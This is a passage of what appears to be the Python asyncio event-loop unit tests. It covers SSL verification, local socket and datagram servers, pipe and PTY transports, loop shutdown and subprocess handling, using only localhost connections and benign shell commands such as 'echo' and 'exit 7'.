sslcontext_client.verify_mode = ssl.CERT_REQUIRED if hasattr(sslcontext_client, 'check_hostname'): sslcontext_client.check_hostname = True # no CA loaded f_c = self.loop.create_unix_connection(MyProto, path, ssl=sslcontext_client, server_hostname='invalid') with mock.patch.object(self.loop, 'call_exception_handler'): with test_utils.disable_logger(): with self.assertRaisesRegex(ssl.SSLError, '(?i)certificate.verify.failed'): self.loop.run_until_complete(f_c) # execute the loop to log the connection error test_utils.run_briefly(self.loop) # close connection self.assertIsNone(proto.transport) server.close() @unittest.skipIf(ssl is None, 'No ssl module') def test_create_server_ssl_match_failed(self): proto = MyProto(loop=self.loop) server, host, port = self._make_ssl_server( lambda: proto, test_utils.SIGNED_CERTFILE) sslcontext_client = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) sslcontext_client.options |= ssl.OP_NO_SSLv2 sslcontext_client.verify_mode = ssl.CERT_REQUIRED sslcontext_client.load_verify_locations( cafile=test_utils.SIGNING_CA) if hasattr(sslcontext_client, 'check_hostname'): sslcontext_client.check_hostname = True # incorrect server_hostname f_c = self.loop.create_connection(MyProto, host, port, ssl=sslcontext_client) with mock.patch.object(self.loop, 'call_exception_handler'): with test_utils.disable_logger(): with self.assertRaisesRegex( ssl.CertificateError, "IP address mismatch, certificate is not valid for " "'127.0.0.1'"): self.loop.run_until_complete(f_c) # close connection # transport is None because TLS ALERT aborted the handshake self.assertIsNone(proto.transport) server.close() @support.skip_unless_bind_unix_socket @unittest.skipIf(ssl is None, 'No ssl module') def test_create_unix_server_ssl_verified(self): proto = MyProto(loop=self.loop) server, path = self._make_ssl_unix_server( lambda: proto, test_utils.SIGNED_CERTFILE) sslcontext_client = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) sslcontext_client.options |= ssl.OP_NO_SSLv2 sslcontext_client.verify_mode = ssl.CERT_REQUIRED sslcontext_client.load_verify_locations(cafile=test_utils.SIGNING_CA) if hasattr(sslcontext_client, 'check_hostname'): sslcontext_client.check_hostname = True # Connection succeeds with correct CA and server hostname. f_c = self.loop.create_unix_connection(MyProto, path, ssl=sslcontext_client, server_hostname='localhost') client, pr = self.loop.run_until_complete(f_c) # close connection proto.transport.close() client.close() server.close() self.loop.run_until_complete(proto.done) @unittest.skipIf(ssl is None, 'No ssl module') def test_create_server_ssl_verified(self): proto = MyProto(loop=self.loop) server, host, port = self._make_ssl_server( lambda: proto, test_utils.SIGNED_CERTFILE) sslcontext_client = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) sslcontext_client.options |= ssl.OP_NO_SSLv2 sslcontext_client.verify_mode = ssl.CERT_REQUIRED sslcontext_client.load_verify_locations(cafile=test_utils.SIGNING_CA) if hasattr(sslcontext_client, 'check_hostname'): sslcontext_client.check_hostname = True # Connection succeeds with correct CA and server hostname. f_c = self.loop.create_connection(MyProto, host, port, ssl=sslcontext_client, server_hostname='localhost') client, pr = self.loop.run_until_complete(f_c) # extra info is available self.check_ssl_extra_info(client, peername=(host, port), peercert=test_utils.PEERCERT) # close connection proto.transport.close() client.close() server.close() self.loop.run_until_complete(proto.done) def test_create_server_sock(self): proto = self.loop.create_future() class TestMyProto(MyProto): def connection_made(self, transport): super().connection_made(transport) proto.set_result(self) sock_ob = socket.create_server(('0.0.0.0', 0)) f = self.loop.create_server(TestMyProto, sock=sock_ob) server = self.loop.run_until_complete(f) sock = server.sockets[0] self.assertEqual(sock.fileno(), sock_ob.fileno()) host, port = sock.getsockname() self.assertEqual(host, '0.0.0.0') client = socket.socket() client.connect(('127.0.0.1', port)) client.send(b'xxx') client.close() server.close() def test_create_server_addr_in_use(self): sock_ob = socket.create_server(('0.0.0.0', 0)) f = self.loop.create_server(MyProto, sock=sock_ob) server = self.loop.run_until_complete(f) sock = server.sockets[0] host, port = sock.getsockname() f = self.loop.create_server(MyProto, host=host, port=port) with self.assertRaises(OSError) as cm: self.loop.run_until_complete(f) self.assertEqual(cm.exception.errno, errno.EADDRINUSE) server.close() @unittest.skipUnless(support.IPV6_ENABLED, 'IPv6 not supported or enabled') def test_create_server_dual_stack(self): f_proto = self.loop.create_future() class TestMyProto(MyProto): def connection_made(self, transport): super().connection_made(transport) f_proto.set_result(self) try_count = 0 while True: try: port = support.find_unused_port() f = self.loop.create_server(TestMyProto, host=None, port=port) server = self.loop.run_until_complete(f) except OSError as ex: if ex.errno == errno.EADDRINUSE: try_count += 1 self.assertGreaterEqual(5, try_count) continue else: raise else: break client = socket.socket() client.connect(('127.0.0.1', port)) client.send(b'xxx') proto = self.loop.run_until_complete(f_proto) proto.transport.close() client.close() f_proto = self.loop.create_future() client = socket.socket(socket.AF_INET6) client.connect(('::1', port)) client.send(b'xxx') proto = self.loop.run_until_complete(f_proto) proto.transport.close() client.close() server.close() def test_server_close(self): f = self.loop.create_server(MyProto, '0.0.0.0', 0) server = self.loop.run_until_complete(f) sock = server.sockets[0] host, port = sock.getsockname() client = socket.socket() client.connect(('127.0.0.1', port)) client.send(b'xxx') client.close() server.close() client = socket.socket() self.assertRaises( ConnectionRefusedError, client.connect, ('127.0.0.1', port)) client.close() def test_create_datagram_endpoint(self): class TestMyDatagramProto(MyDatagramProto): def __init__(inner_self): super().__init__(loop=self.loop) def datagram_received(self, data, addr): super().datagram_received(data, addr) self.transport.sendto(b'resp:'+data, addr) coro = self.loop.create_datagram_endpoint( TestMyDatagramProto, local_addr=('127.0.0.1', 0)) s_transport, server = self.loop.run_until_complete(coro) host, port = s_transport.get_extra_info('sockname') self.assertIsInstance(s_transport, asyncio.Transport) self.assertIsInstance(server, TestMyDatagramProto) self.assertEqual('INITIALIZED', server.state) self.assertIs(server.transport, s_transport) coro = self.loop.create_datagram_endpoint( lambda: MyDatagramProto(loop=self.loop), remote_addr=(host, port)) transport, client = self.loop.run_until_complete(coro) self.assertIsInstance(transport, asyncio.Transport) self.assertIsInstance(client, MyDatagramProto) self.assertEqual('INITIALIZED', client.state) self.assertIs(client.transport, transport) transport.sendto(b'xxx') test_utils.run_until(self.loop, lambda: server.nbytes) self.assertEqual(3, server.nbytes) test_utils.run_until(self.loop, lambda: client.nbytes) # received self.assertEqual(8, client.nbytes) # extra info is available self.assertIsNotNone(transport.get_extra_info('sockname')) # close connection transport.close() self.loop.run_until_complete(client.done) self.assertEqual('CLOSED', client.state) server.transport.close() def test_create_datagram_endpoint_sock(self): sock = None local_address = ('127.0.0.1', 0) infos = self.loop.run_until_complete( self.loop.getaddrinfo( *local_address, type=socket.SOCK_DGRAM)) for family, type, proto, cname, address in infos: try: sock = socket.socket(family=family, type=type, proto=proto) sock.setblocking(False) sock.bind(address) except: pass else: break else: assert False, 'Can not create socket.' f = self.loop.create_datagram_endpoint( lambda: MyDatagramProto(loop=self.loop), sock=sock) tr, pr = self.loop.run_until_complete(f) self.assertIsInstance(tr, asyncio.Transport) self.assertIsInstance(pr, MyDatagramProto) tr.close() self.loop.run_until_complete(pr.done) def test_internal_fds(self): loop = self.create_event_loop() if not isinstance(loop, selector_events.BaseSelectorEventLoop): loop.close() self.skipTest('loop is not a BaseSelectorEventLoop') self.assertEqual(1, loop._internal_fds) loop.close() self.assertEqual(0, loop._internal_fds) self.assertIsNone(loop._csock) self.assertIsNone(loop._ssock) @unittest.skipUnless(sys.platform != 'win32', "Don't support pipes for Windows") def test_read_pipe(self): proto = MyReadPipeProto(loop=self.loop) rpipe, wpipe = os.pipe() pipeobj = io.open(rpipe, 'rb', 1024) async def connect(): t, p = await self.loop.connect_read_pipe( lambda: proto, pipeobj) self.assertIs(p, proto) self.assertIs(t, proto.transport) self.assertEqual(['INITIAL', 'CONNECTED'], proto.state) self.assertEqual(0, proto.nbytes) self.loop.run_until_complete(connect()) os.write(wpipe, b'1') test_utils.run_until(self.loop, lambda: proto.nbytes >= 1) self.assertEqual(1, proto.nbytes) os.write(wpipe, b'2345') test_utils.run_until(self.loop, lambda: proto.nbytes >= 5) self.assertEqual(['INITIAL', 'CONNECTED'], proto.state) self.assertEqual(5, proto.nbytes) os.close(wpipe) self.loop.run_until_complete(proto.done) self.assertEqual( ['INITIAL', 'CONNECTED', 'EOF', 'CLOSED'], proto.state) # extra info is available self.assertIsNotNone(proto.transport.get_extra_info('pipe')) @unittest.skipUnless(sys.platform != 'win32', "Don't support pipes for Windows") def test_unclosed_pipe_transport(self): # This test reproduces the issue #314 on GitHub loop = self.create_event_loop() read_proto = MyReadPipeProto(loop=loop) write_proto = MyWritePipeProto(loop=loop) rpipe, wpipe = os.pipe() rpipeobj = io.open(rpipe, 'rb', 1024) wpipeobj = io.open(wpipe, 'w', 1024) async def connect(): read_transport, _ = await loop.connect_read_pipe( lambda: read_proto, rpipeobj) write_transport, _ = await loop.connect_write_pipe( lambda: write_proto, wpipeobj) return read_transport, write_transport # Run and close the loop without closing the transports read_transport, write_transport = loop.run_until_complete(connect()) loop.close() # These 'repr' calls used to raise an AttributeError # See Issue #314 on GitHub self.assertIn('open', repr(read_transport)) self.assertIn('open', repr(write_transport)) # Clean up (avoid ResourceWarning) rpipeobj.close() wpipeobj.close() read_transport._pipe = None write_transport._pipe = None @unittest.skipUnless(sys.platform != 'win32', "Don't support pipes for Windows") def test_read_pty_output(self): proto = MyReadPipeProto(loop=self.loop) master, slave = os.openpty() master_read_obj = io.open(master, 'rb', 0) async def connect(): t, p = await self.loop.connect_read_pipe(lambda: proto, master_read_obj) self.assertIs(p, proto) self.assertIs(t, proto.transport) self.assertEqual(['INITIAL', 'CONNECTED'], proto.state) self.assertEqual(0, proto.nbytes) self.loop.run_until_complete(connect()) os.write(slave, b'1') test_utils.run_until(self.loop, lambda: proto.nbytes) self.assertEqual(1, proto.nbytes) os.write(slave, b'2345') test_utils.run_until(self.loop, lambda: proto.nbytes >= 5) self.assertEqual(['INITIAL', 'CONNECTED'], proto.state) self.assertEqual(5, proto.nbytes) os.close(slave) proto.transport.close() self.loop.run_until_complete(proto.done) self.assertEqual( ['INITIAL', 'CONNECTED', 'EOF', 'CLOSED'], proto.state) # extra info is available self.assertIsNotNone(proto.transport.get_extra_info('pipe')) @unittest.skipUnless(sys.platform != 'win32', "Don't support pipes for Windows") def test_write_pipe(self): rpipe, wpipe = os.pipe() pipeobj = io.open(wpipe, 'wb', 1024) proto = MyWritePipeProto(loop=self.loop) connect = self.loop.connect_write_pipe(lambda: proto, pipeobj) transport, p = self.loop.run_until_complete(connect) self.assertIs(p, proto) self.assertIs(transport, proto.transport) self.assertEqual('CONNECTED', proto.state) transport.write(b'1') data = bytearray() def reader(data): chunk = os.read(rpipe, 1024) data += chunk return len(data) test_utils.run_until(self.loop, lambda: reader(data) >= 1) self.assertEqual(b'1', data) transport.write(b'2345') test_utils.run_until(self.loop, lambda: reader(data) >= 5) self.assertEqual(b'12345', data) self.assertEqual('CONNECTED', proto.state) os.close(rpipe) # extra info is available self.assertIsNotNone(proto.transport.get_extra_info('pipe')) # close connection proto.transport.close() self.loop.run_until_complete(proto.done) self.assertEqual('CLOSED', proto.state) @unittest.skipUnless(sys.platform != 'win32', "Don't support pipes for Windows") def test_write_pipe_disconnect_on_close(self): rsock, wsock = socket.socketpair() rsock.setblocking(False) pipeobj = io.open(wsock.detach(), 'wb', 1024) proto = MyWritePipeProto(loop=self.loop) connect = self.loop.connect_write_pipe(lambda: proto, pipeobj) transport, p = self.loop.run_until_complete(connect) self.assertIs(p, proto) self.assertIs(transport, proto.transport) self.assertEqual('CONNECTED', proto.state) transport.write(b'1') data = self.loop.run_until_complete(self.loop.sock_recv(rsock, 1024)) self.assertEqual(b'1', data) rsock.close() self.loop.run_until_complete(proto.done) self.assertEqual('CLOSED', proto.state) @unittest.skipUnless(sys.platform != 'win32', "Don't support pipes for Windows") # select, poll and kqueue don't support character devices (PTY) on Mac OS X # older than 10.6 (Snow Leopard) @support.requires_mac_ver(10, 6) def test_write_pty(self): master, slave = os.openpty() slave_write_obj = io.open(slave, 'wb', 0) proto = MyWritePipeProto(loop=self.loop) connect = self.loop.connect_write_pipe(lambda: proto, slave_write_obj) transport, p = self.loop.run_until_complete(connect) self.assertIs(p, proto) self.assertIs(transport, proto.transport) self.assertEqual('CONNECTED', proto.state) transport.write(b'1') data = bytearray() def reader(data): chunk = os.read(master, 1024) data += chunk return len(data) test_utils.run_until(self.loop, lambda: reader(data) >= 1, timeout=10) self.assertEqual(b'1', data) transport.write(b'2345') test_utils.run_until(self.loop, lambda: reader(data) >= 5, timeout=10) self.assertEqual(b'12345', data) self.assertEqual('CONNECTED', proto.state) os.close(master) # extra info is available self.assertIsNotNone(proto.transport.get_extra_info('pipe')) # close connection proto.transport.close() self.loop.run_until_complete(proto.done) self.assertEqual('CLOSED', proto.state) @unittest.skipUnless(sys.platform != 'win32', "Don't support pipes for Windows") # select, poll and kqueue don't support character devices (PTY) on Mac OS X # older than 10.6 (Snow Leopard) @support.requires_mac_ver(10, 6) def test_bidirectional_pty(self): master, read_slave = os.openpty() write_slave = os.dup(read_slave) tty.setraw(read_slave) slave_read_obj = io.open(read_slave, 'rb', 0) read_proto = MyReadPipeProto(loop=self.loop) read_connect = self.loop.connect_read_pipe(lambda: read_proto, slave_read_obj) read_transport, p = self.loop.run_until_complete(read_connect) self.assertIs(p, read_proto) self.assertIs(read_transport, read_proto.transport) self.assertEqual(['INITIAL', 'CONNECTED'], read_proto.state) self.assertEqual(0, read_proto.nbytes) slave_write_obj = io.open(write_slave, 'wb', 0) write_proto = MyWritePipeProto(loop=self.loop) write_connect = self.loop.connect_write_pipe(lambda: write_proto, slave_write_obj) write_transport, p = self.loop.run_until_complete(write_connect) self.assertIs(p, write_proto) self.assertIs(write_transport, write_proto.transport) self.assertEqual('CONNECTED', write_proto.state) data = bytearray() def reader(data): chunk = os.read(master, 1024) data += chunk return len(data) write_transport.write(b'1') test_utils.run_until(self.loop, lambda: reader(data) >= 1, timeout=10) self.assertEqual(b'1', data) self.assertEqual(['INITIAL', 'CONNECTED'], read_proto.state) self.assertEqual('CONNECTED', write_proto.state) os.write(master, b'a') test_utils.run_until(self.loop, lambda: read_proto.nbytes >= 1, timeout=10) self.assertEqual(['INITIAL', 'CONNECTED'], read_proto.state) self.assertEqual(1, read_proto.nbytes) self.assertEqual('CONNECTED', write_proto.state) write_transport.write(b'2345') test_utils.run_until(self.loop, lambda: reader(data) >= 5, timeout=10) self.assertEqual(b'12345', data) self.assertEqual(['INITIAL', 'CONNECTED'], read_proto.state) self.assertEqual('CONNECTED', write_proto.state) os.write(master, b'bcde') test_utils.run_until(self.loop, lambda: read_proto.nbytes >= 5, timeout=10) self.assertEqual(['INITIAL', 'CONNECTED'], read_proto.state) self.assertEqual(5, read_proto.nbytes) self.assertEqual('CONNECTED', write_proto.state) os.close(master) read_transport.close() self.loop.run_until_complete(read_proto.done) self.assertEqual( ['INITIAL', 'CONNECTED', 'EOF', 'CLOSED'], read_proto.state) write_transport.close() self.loop.run_until_complete(write_proto.done) self.assertEqual('CLOSED', write_proto.state) def test_prompt_cancellation(self): r, w = socket.socketpair() r.setblocking(False) f = self.loop.create_task(self.loop.sock_recv(r, 1)) ov = getattr(f, 'ov', None) if ov is not None: self.assertTrue(ov.pending) async def main(): try: self.loop.call_soon(f.cancel) await f except asyncio.CancelledError: res = 'cancelled' else: res = None finally: self.loop.stop() return res start = time.monotonic() t = self.loop.create_task(main()) self.loop.run_forever() elapsed = time.monotonic() - start self.assertLess(elapsed, 0.1) self.assertEqual(t.result(), 'cancelled') self.assertRaises(asyncio.CancelledError, f.result) if ov is not None: self.assertFalse(ov.pending) self.loop._stop_serving(r) r.close() w.close() def test_timeout_rounding(self): def _run_once(): self.loop._run_once_counter += 1 orig_run_once() orig_run_once = self.loop._run_once self.loop._run_once_counter = 0 self.loop._run_once = _run_once async def wait(): loop = self.loop await asyncio.sleep(1e-2) await asyncio.sleep(1e-4) await asyncio.sleep(1e-6) await asyncio.sleep(1e-8) await asyncio.sleep(1e-10) self.loop.run_until_complete(wait()) # The ideal number of call is 12, but on some platforms, the selector # may sleep at little bit less than timeout depending on the resolution # of the clock used by the kernel. Tolerate a few useless calls on # these platforms. self.assertLessEqual(self.loop._run_once_counter, 20, {'clock_resolution': self.loop._clock_resolution, 'selector': self.loop._selector.__class__.__name__}) def test_remove_fds_after_closing(self): loop = self.create_event_loop() callback = lambda: None r, w = socket.socketpair() self.addCleanup(r.close) self.addCleanup(w.close) loop.add_reader(r, callback) loop.add_writer(w, callback) loop.close() self.assertFalse(loop.remove_reader(r)) self.assertFalse(loop.remove_writer(w)) def test_add_fds_after_closing(self): loop = self.create_event_loop() callback = lambda: None r, w = socket.socketpair() self.addCleanup(r.close) self.addCleanup(w.close) loop.close() with self.assertRaises(RuntimeError): loop.add_reader(r, callback) with self.assertRaises(RuntimeError): loop.add_writer(w, callback) def test_close_running_event_loop(self): async def close_loop(loop): self.loop.close() coro = close_loop(self.loop) with self.assertRaises(RuntimeError): self.loop.run_until_complete(coro) def test_close(self): self.loop.close() async def test(): pass func = lambda: False coro = test() self.addCleanup(coro.close) # operation blocked when the loop is closed with self.assertRaises(RuntimeError): self.loop.run_forever() with self.assertRaises(RuntimeError): fut = self.loop.create_future() self.loop.run_until_complete(fut) with self.assertRaises(RuntimeError): self.loop.call_soon(func) with self.assertRaises(RuntimeError): self.loop.call_soon_threadsafe(func) with self.assertRaises(RuntimeError): self.loop.call_later(1.0, func) with self.assertRaises(RuntimeError): self.loop.call_at(self.loop.time() + .0, func) with self.assertRaises(RuntimeError): self.loop.create_task(coro) with self.assertRaises(RuntimeError): self.loop.add_signal_handler(signal.SIGTERM, func) # run_in_executor test is tricky: the method is a coroutine, # but run_until_complete cannot be called on closed loop. # Thus iterate once explicitly. with self.assertRaises(RuntimeError): it = self.loop.run_in_executor(None, func).__await__() next(it) class SubprocessTestsMixin: def check_terminated(self, returncode): if sys.platform == 'win32': self.assertIsInstance(returncode, int) # expect 1 but sometimes get 0 else: self.assertEqual(-signal.SIGTERM, returncode) def check_killed(self, returncode): if sys.platform == 'win32': self.assertIsInstance(returncode, int) # expect 1 but sometimes get 0 else: self.assertEqual(-signal.SIGKILL, returncode) def test_subprocess_exec(self): prog = os.path.join(os.path.dirname(__file__), 'echo.py') connect = self.loop.subprocess_exec( functools.partial(MySubprocessProtocol, self.loop), sys.executable, prog) with self.assertWarns(DeprecationWarning): transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.connected) self.assertEqual('CONNECTED', proto.state) stdin = transp.get_pipe_transport(0) stdin.write(b'Python The Winner') self.loop.run_until_complete(proto.got_data[1].wait()) with test_utils.disable_logger(): transp.close() self.loop.run_until_complete(proto.completed) self.check_killed(proto.returncode) self.assertEqual(b'Python The Winner', proto.data[1]) def test_subprocess_interactive(self): prog = os.path.join(os.path.dirname(__file__), 'echo.py') connect = self.loop.subprocess_exec( functools.partial(MySubprocessProtocol, self.loop), sys.executable, prog) with self.assertWarns(DeprecationWarning): transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.connected) self.assertEqual('CONNECTED', proto.state) stdin = transp.get_pipe_transport(0) stdin.write(b'Python ') self.loop.run_until_complete(proto.got_data[1].wait()) proto.got_data[1].clear() self.assertEqual(b'Python ', proto.data[1]) stdin.write(b'The Winner') self.loop.run_until_complete(proto.got_data[1].wait()) self.assertEqual(b'Python The Winner', proto.data[1]) with test_utils.disable_logger(): transp.close() self.loop.run_until_complete(proto.completed) self.check_killed(proto.returncode) def test_subprocess_shell(self): with self.assertWarns(DeprecationWarning): connect = self.loop.subprocess_shell( functools.partial(MySubprocessProtocol, self.loop), 'echo Python') transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.connected) transp.get_pipe_transport(0).close() self.loop.run_until_complete(proto.completed) self.assertEqual(0, proto.returncode) self.assertTrue(all(f.done() for f in proto.disconnects.values())) self.assertEqual(proto.data[1].rstrip(b'\r\n'), b'Python') self.assertEqual(proto.data[2], b'') transp.close() def test_subprocess_exitcode(self): connect = self.loop.subprocess_shell( functools.partial(MySubprocessProtocol, self.loop), 'exit 7', stdin=None, stdout=None, stderr=None) with self.assertWarns(DeprecationWarning): transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.completed) self.assertEqual(7, proto.returncode) transp.close() def test_subprocess_close_after_finish(self): connect = self.loop.subprocess_shell( functools.partial(MySubprocessProtocol, self.loop), 'exit 7', stdin=None, stdout=None, stderr=None) with self.assertWarns(DeprecationWarning): transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.assertIsNone(transp.get_pipe_transport(0)) self.assertIsNone(transp.get_pipe_transport(1)) self.assertIsNone(transp.get_pipe_transport(2)) self.loop.run_until_complete(proto.completed) self.assertEqual(7, proto.returncode) self.assertIsNone(transp.close()) def test_subprocess_kill(self): prog = os.path.join(os.path.dirname(__file__), 'echo.py') connect = self.loop.subprocess_exec( functools.partial(MySubprocessProtocol, self.loop), sys.executable, prog) with self.assertWarns(DeprecationWarning): transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.connected) transp.kill() self.loop.run_until_complete(proto.completed) self.check_killed(proto.returncode) transp.close() def test_subprocess_terminate(self): prog = os.path.join(os.path.dirname(__file__), 'echo.py') connect = self.loop.subprocess_exec( functools.partial(MySubprocessProtocol, self.loop), sys.executable, prog) with self.assertWarns(DeprecationWarning): transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.connected) transp.terminate() self.loop.run_until_complete(proto.completed) self.check_terminated(proto.returncode) transp.close() @unittest.skipIf(sys.platform == 'win32', "Don't have SIGHUP") def test_subprocess_send_signal(self): # bpo-31034: Make sure that we get the default signal handler (killing # the process). The parent process may have decided to ignore SIGHUP, # and signal handlers are inherited. old_handler = signal.signal(signal.SIGHUP, signal.SIG_DFL) try: prog = os.path.join(os.path.dirname(__file__), 'echo.py') connect = self.loop.subprocess_exec( functools.partial(MySubprocessProtocol, self.loop), sys.executable, prog) with self.assertWarns(DeprecationWarning): transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.connected) transp.send_signal(signal.SIGHUP) self.loop.run_until_complete(proto.completed) self.assertEqual(-signal.SIGHUP, proto.returncode) transp.close() finally: signal.signal(signal.SIGHUP, old_handler) def test_subprocess_stderr(self): prog = os.path.join(os.path.dirname(__file__), 'echo2.py') connect = self.loop.subprocess_exec( functools.partial(MySubprocessProtocol, self.loop), sys.executable, prog) with self.assertWarns(DeprecationWarning): transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.connected) stdin = transp.get_pipe_transport(0) stdin.write(b'test') self.loop.run_until_complete(proto.completed) transp.close() self.assertEqual(b'OUT:test', proto.data[1]) self.assertTrue(proto.data[2].startswith(b'ERR:test'), proto.data[2]) self.assertEqual(0, proto.returncode) def test_subprocess_stderr_redirect_to_stdout(self): prog = os.path.join(os.path.dirname(__file__), 'echo2.py') connect = self.loop.subprocess_exec( functools.partial(MySubprocessProtocol, self.loop), sys.executable, prog, stderr=subprocess.STDOUT) with self.assertWarns(DeprecationWarning): transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.connected) stdin = transp.get_pipe_transport(0) self.assertIsNotNone(transp.get_pipe_transport(1)) self.assertIsNone(transp.get_pipe_transport(2)) stdin.write(b'test') self.loop.run_until_complete(proto.completed) self.assertTrue(proto.data[1].startswith(b'OUT:testERR:test'), proto.data[1]) self.assertEqual(b'', proto.data[2]) transp.close() self.assertEqual(0, proto.returncode) def test_subprocess_close_client_stream(self): prog = os.path.join(os.path.dirname(__file__), 'echo3.py') connect = self.loop.subprocess_exec( functools.partial(MySubprocessProtocol, self.loop), sys.executable, prog) with self.assertWarns(DeprecationWarning): transp, proto = self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.connected) stdin = transp.get_pipe_transport(0) stdout = transp.get_pipe_transport(1) stdin.write(b'test') self.loop.run_until_complete(proto.got_data[1].wait()) self.assertEqual(b'OUT:test', proto.data[1]) stdout.close() self.loop.run_until_complete(proto.disconnects[1]) stdin.write(b'xxx') self.loop.run_until_complete(proto.got_data[2].wait()) if sys.platform != 'win32': self.assertEqual(b'ERR:BrokenPipeError', proto.data[2]) else: # After closing the read-end of a pipe, writing to the # write-end using os.write() fails with errno==EINVAL and # GetLastError()==ERROR_INVALID_NAME on Windows!?! (Using # WriteFile() we get ERROR_BROKEN_PIPE as expected.) self.assertEqual(b'ERR:OSError', proto.data[2]) with test_utils.disable_logger(): transp.close() self.loop.run_until_complete(proto.completed) self.check_killed(proto.returncode) def test_subprocess_wait_no_same_group(self): # start the new process in a new session connect = self.loop.subprocess_shell( functools.partial(MySubprocessProtocol, self.loop), 'exit 7', stdin=None, stdout=None, stderr=None, start_new_session=True) _, proto = yield self.loop.run_until_complete(connect) self.assertIsInstance(proto, MySubprocessProtocol) self.loop.run_until_complete(proto.completed) self.assertEqual(7, proto.returncode) def test_subprocess_exec_invalid_args(self): async def connect(**kwds): await self.loop.subprocess_exec( asyncio.SubprocessProtocol, 'pwd', **kwds) with self.assertRaises(ValueError): self.loop.run_until_complete(connect(universal_newlines=True)) with self.assertRaises(ValueError): self.loop.run_until_complete(connect(bufsize=4096)) with self.assertRaises(ValueError): self.loop.run_until_complete(connect(shell=True)) def test_subprocess_shell_invalid_args(self): async def connect(cmd=None, **kwds): if not cmd: cmd = 'pwd' await self.loop.subprocess_shell( asyncio.SubprocessProtocol, cmd, **kwds) with self.assertRaises(ValueError): self.loop.run_until_complete(connect(['ls', '-l'])) with self.assertRaises(ValueError): self.loop.run_until_complete(connect(universal_newlines=True)) with self.assertRaises(ValueError): self.loop.run_until_complete(connect(bufsize=4096)) with self.assertRaises(ValueError): self.loop.run_until_complete(connect(shell=False)) if sys.platform == 'win32': class SelectEventLoopTests(EventLoopTestsMixin, test_utils.TestCase): def create_event_loop(self): return asyncio.SelectorEventLoop() class ProactorEventLoopTests(EventLoopTestsMixin, SubprocessTestsMixin, test_utils.TestCase): def create_event_loop(self): return asyncio.ProactorEventLoop() def test_reader_callback(self): raise unittest.SkipTest("IocpEventLoop does not have add_reader()") def test_reader_callback_cancel(self): raise unittest.SkipTest("IocpEventLoop does not have add_reader()") def test_writer_callback(self): raise unittest.SkipTest("IocpEventLoop does not have add_writer()") def test_writer_callback_cancel(self): raise unittest.SkipTest("IocpEventLoop does not have add_writer()") def test_remove_fds_after_closing(self): raise unittest.SkipTest("IocpEventLoop does not have add_reader()") else: import selectors class UnixEventLoopTestsMixin(EventLoopTestsMixin): def setUp(self): super().setUp() watcher = asyncio.SafeChildWatcher() watcher.attach_loop(self.loop) asyncio.set_child_watcher(watcher) def tearDown(self): asyncio.set_child_watcher(None) super().tearDown() if hasattr(selectors, 'KqueueSelector'): class KqueueEventLoopTests(UnixEventLoopTestsMixin, SubprocessTestsMixin, test_utils.TestCase): def create_event_loop(self): return asyncio.SelectorEventLoop( selectors.KqueueSelector()) # kqueue doesn't support character devices (PTY) on Mac OS X older # than 10.9 (Maverick) @support.requires_mac_ver(10, 9) # Issue #20667: KqueueEventLoopTests.test_read_pty_output() # hangs on OpenBSD 5.5 @unittest.skipIf(sys.platform.startswith('openbsd'), 'test hangs on OpenBSD') def test_read_pty_output(self): super().test_read_pty_output() # kqueue doesn't support character devices (PTY) on Mac OS X older # than 10.9 (Maverick) @support.requires_mac_ver(10, 9) def test_write_pty(self): super().test_write_pty() if hasattr(selectors, 'EpollSelector'): class EPollEventLoopTests(UnixEventLoopTestsMixin, SubprocessTestsMixin, test_utils.TestCase): def create_event_loop(self): return asyncio.SelectorEventLoop(selectors.EpollSelector()) if hasattr(selectors, 'PollSelector'): class PollEventLoopTests(UnixEventLoopTestsMixin, SubprocessTestsMixin, test_utils.TestCase): def create_event_loop(self): return asyncio.SelectorEventLoop(selectors.PollSelector()) # Should always exist. class SelectEventLoopTests(UnixEventLoopTestsMixin, SubprocessTestsMixin, test_utils.TestCase): def create_event_loop(self): return asyncio.SelectorEventLoop(selectors.SelectSelector()) def noop(*args, **kwargs): pass class HandleTests(test_utils.TestCase): def setUp(self): super().setUp() self.loop = mock.Mock() self.loop.get_debug.return_value = True def test_handle(self): def callback(*args): return args args = () h = asyncio.Handle(callback, args, self.loop) self.assertIs(h._callback, callback) self.assertIs(h._args, args) self.assertFalse(h.cancelled()) h.cancel() self.assertTrue(h.cancelled()) def test_callback_with_exception(self): def callback(): raise ValueError() self.loop = mock.Mock() self.loop.call_exception_handler = mock.Mock() h = asyncio.Handle(callback, (), self.loop) h._run() self.loop.call_exception_handler.assert_called_with({ 'message': test_utils.MockPattern('Exception in callback.*'), 'exception': mock.ANY, 'handle': h, 'source_traceback': h._source_traceback, }) def test_handle_weakref(self): wd = weakref.WeakValueDictionary() h = asyncio.Handle(lambda: None, (), self.loop) wd['h'] = h # Would fail without __weakref__ slot. def test_handle_repr(self): self.loop.get_debug.return_value = False # simple function h = asyncio.Handle(noop, (1, 2), self.loop) filename, lineno = test_utils.get_function_source(noop) self.assertEqual(repr(h), '<Handle noop(1, 2) at %s:%s>' % (filename, lineno)) # cancelled handle h.cancel() self.assertEqual(repr(h), '<Handle cancelled>') # decorated function with self.assertWarns(DeprecationWarning): cb = asyncio.coroutine(noop) h = asyncio.Handle(cb, (), self.loop) self.assertEqual(repr(h), '<Handle noop() at 